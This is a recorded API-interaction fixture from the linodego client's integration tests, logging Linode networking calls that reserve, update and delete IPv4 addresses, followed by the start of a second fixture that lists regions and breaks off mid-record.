Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.119.44 method: PUT response: body: '{"address": "194.195.119.44", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-44.ip.linodeusercontent.com", "linode_id": 68361103, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "270" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "267" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":true,"rdns":"sample rdns"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.119.214 method: PUT response: body: '{"errors": [{"reason": "Domain is not valid.", "field": "rdns"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "65" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:44 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/194.195.119.214 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "267" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.119.214 method: PUT response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "267" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/194.195.119.214 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "267" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"reserved":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.119.214 method: PUT response: body: '{"address": "194.195.119.214", "gateway": "194.195.119.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "194-195-119-214.ip.linodeusercontent.com", "linode_id": null, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "268" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/194.195.119.214 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:46 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 404 Not Found code: 404 duration: "" - request: body: '{"reserved":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/123.72.121.76 method: PUT response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:46 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/194.195.119.44 method: DELETE response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:46 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - ips:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.105.63.218 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68361103 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 11 Dec 2024 19:17:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddresses_Instance_Get.yaml000066400000000000000000001210121474652371000330760ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", 